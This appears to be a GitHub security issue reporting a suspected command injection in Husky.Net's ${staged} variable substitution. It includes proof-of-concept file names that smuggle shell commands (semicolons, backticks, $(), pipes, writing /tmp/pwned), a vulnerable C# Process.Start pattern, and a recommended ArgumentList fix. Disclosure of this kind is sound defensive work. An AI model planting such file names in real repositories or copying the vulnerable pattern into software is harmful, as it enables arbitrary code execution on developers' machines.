-
-
Notifications
You must be signed in to change notification settings - Fork 38
Description
Version
v0.7.2
Details
Summary
While analyzing the Husky.Net codebase, I've identified a potential command injection vulnerability in the variable substitution mechanism used for ${staged}, ${matched}, and other dynamic variables.
Severity
🔴 CRITICAL - Potential Remote Code Execution (RCE)
CWE Classification
- CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Description
If the variable substitution mechanism does not properly sanitize or escape special characters in filenames before inserting them into shell commands, an attacker could potentially execute arbitrary commands by creating files with malicious names.
Proof of Concept (PoC)
Scenario 1: Command Injection via Filename
# Create a malicious filename
touch 'innocentfile.txt"; echo HACKED > /tmp/pwned; echo ".cs'
# Stage the file
git add .
# When Husky runs the pre-commit hook with ${staged}:
# Expected: dotnet format --include "innocentfile.txt\"; echo HACKED > /tmp/pwned; echo \".cs"
# If not properly escaped, this becomes:
# dotnet format --include innocentfile.txt"; echo HACKED > /tmp/pwned; echo ".cs
# Result: Command injection!Scenario 2: Testing Multiple Special Characters
# Test various injection vectors
touch 'file`whoami`.txt' # Command substitution
touch 'file$(whoami).txt' # Command substitution
touch 'file;whoami;.txt' # Command separator
touch 'file&&whoami&&.txt' # Logical AND
touch 'file||whoami||.txt' # Logical OR
touch 'file|whoami|.txt' # PipeAffected Components
Based on the architecture, the following components are likely affected:
- Variable substitution logic (
${staged},${matched},${args}, etc.) - Task runner execution
- Command argument building
- Any place where
Process.Start()is used with shell execution
Vulnerable Code Pattern (Hypothetical)
// VULNERABLE - Example of potentially problematic code
var stagedFiles = GetStagedFiles(); // Returns list of filenames
var filesString = string.Join(" ", stagedFiles); // Simple string join
var command = $"dotnet format --include {filesString}"; // String interpolation
// If using shell execution:
Process.Start("bash", $"-c \"{command}\""); // VULNERABLE!
// or
Process.Start("cmd", $"/c {command}"); // VULNERABLE!Recommended Fix
// SECURE - Proper implementation
var processInfo = new ProcessStartInfo
{
FileName = "dotnet",
UseShellExecute = false, // Critical: Disable shell execution
RedirectStandardOutput = true,
RedirectStandardError = true
};
// Add base arguments
processInfo.ArgumentList.Add("format");
processInfo.ArgumentList.Add("--include");
// Add each file as a separate argument
// ArgumentList automatically handles proper escaping
foreach(var file in GetStagedFiles())
{
processInfo.ArgumentList.Add(file);
}
using var process = Process.Start(processInfo);
await process.WaitForExitAsync();Security Best Practices
- Never use
UseShellExecute = truewhen processing user-controlled input - Always use
ProcessStartInfo.ArgumentListinstead of string concatenation - Validate and sanitize all file paths before processing
- Implement whitelist-based validation for allowed characters in filenames
- Use Path.GetFullPath() and verify paths are within the repository
Testing Steps
Step 1: Create Test Repository
mkdir husky-test
cd husky-test
git init
dotnet new console
dotnet tool install Husky
dotnet husky installStep 2: Configure Husky with Vulnerable Task
{
"$schema": "https://alirezanet.github.io/Husky.Net/schema.json",
"tasks": [
{
"name": "test-injection",
"group": "pre-commit",
"command": "echo",
"args": ["Files:", "${staged}"]
}
]
}Step 3: Create Malicious Files
# Test 1: Command separator
touch 'file.txt"; echo INJECTED; echo ".cs'
git add .
git commit -m "Test 1"
# Check if "INJECTED" appears in outputImpact Assessment
If this vulnerability exists:
- Confidentiality: HIGH - Attacker could read sensitive files
- Integrity: HIGH - Attacker could modify or delete files
- Availability: HIGH - Attacker could execute denial of service
- Scope: LOCAL - Requires local repository access
Attack Scenarios:
- Malicious Contributor: An attacker with commit access creates files with malicious names
- Supply Chain Attack: A compromised dependency includes files with malicious names
- Social Engineering: Tricking a developer into cloning a repository with pre-created malicious files
Mitigation for Users (Until Fixed)
- Audit all files in repositories before committing
- Review
task-runner.jsonconfigurations - Avoid running Husky.Net in untrusted repositories
- Use containerized/sandboxed environments for testing
Related Issues
- Issue with hook for commits with paths that contain files with spaces #110 - Path with spaces issue (related to argument handling)
- Using 'husky attach' inside multi-project solutions leads to compile errors due to 'husky install' running multiple times #54 - Race condition (another security concern)
Additional Context
- Husky.Net Version: v0.7.2 (latest)
- Operating System: Affects all platforms (Windows, macOS, Linux)
Request
Could the maintainers please:
- Confirm if this vulnerability exists
- Audit the command execution code paths
- If confirmed, assign a CVE identifier
- Release a security patch
- Publish a security advisory
References
Thank you for your attention to this security concern.
Steps to reproduce
Prerequisites
- .NET SDK 6.0 or later
- Git installed
- Linux/macOS (bash) or Windows (PowerShell/cmd)
- Husky.Net v0.7.2
Step 1: Create Test Repository
# Create a new test directory
mkdir husky-security-test
cd husky-security-test
# Initialize git repository
git init
# Create a new .NET console project
dotnet new console -n TestProject
# Install Husky as local tool
dotnet new tool-manifest
dotnet tool install HuskyStep 2: Install and Configure Husky
# Install Husky hooks
dotnet husky install
# Verify .husky directory was created
ls -la .husky/Step 3: Create Task Runner Configuration
Create .husky/task-runner.json with the following content:
{
"$schema": "https://alirezanet.github.io/Husky.Net/schema.json",
"tasks": [
{
"name": "test-variable-substitution",
"group": "pre-commit",
"command": "echo",
"args": ["Staged files:", "${staged}"],
"include": ["**/*.cs"]
}
]
}Step 4: Configure Pre-Commit Hook
Edit .husky/pre-commit file:
#!/bin/sh
. "$(dirname "$0")/_/husky.sh"
dotnet husky run --group pre-commitMake it executable:
chmod +x .husky/pre-commitStep 5: Create Malicious Filename (Test 1 - Basic Injection)
# Create a file with command separator in name
touch 'TestFile.cs"; echo "SECURITY_BREACH_DETECTED"; echo "x.cs'
# Check the file was created
ls -laStep 6: Stage and Commit
# Stage the malicious file
git add .
# Attempt to commit (this will trigger the hook)
git commit -m "Test command injection"
# OBSERVE THE OUTPUT:
# - Does "SECURITY_BREACH_DETECTED" appear?
# - If yes, command injection is confirmed
# - If no, the escaping is working correctlyStep 7: Additional Test Cases
Test 2: Command Substitution (Backticks)
touch 'File`echo INJECTED_VIA_BACKTICKS`.cs'
git add .
git commit -m "Test 2"Test 3: Command Substitution ($())
touch 'File$(echo INJECTED_VIA_DOLLAR).cs'
git add .
git commit -m "Test 3"Test 4: Pipe Character
touch 'File.cs | echo INJECTED_VIA_PIPE | cat'
git add .
git commit -m "Test 4"Test 5: Logical AND
touch 'File.cs && echo INJECTED_VIA_AND && true'
git add .
git commit -m "Test 5"Test 6: Semicolon Separator
touch 'File.cs; touch /tmp/pwned; echo x'
git add .
git commit -m "Test 6"
# After commit, check if file was created:
ls -la /tmp/pwnedStep 8: Verify Security Issue
Check the output of each commit. If you see:
- ✅
SECURITY_BREACH_DETECTEDor similar injected text - ✅ Unexpected commands being executed
- ✅ Files created in
/tmp/or other locations
Then the command injection vulnerability is CONFIRMED.
If you see:
- ❌ Proper error handling
- ❌ Escaped filenames in output
- ❌ No injected commands executed
Then the issue may not exist or is already mitigated.
Step 9: Clean Up
cd ..
rm -rf husky-security-testExpected Result
The malicious filenames should be properly escaped and treated as literal filenames, not as shell commands.
Actual Result (if vulnerable)
The shell interprets special characters in filenames as command separators, leading to arbitrary command execution.
Security Impact
If confirmed:
- Local code execution via malicious filenames
- Potential data exfiltration
- Supply chain attack vector
- Build pipeline compromise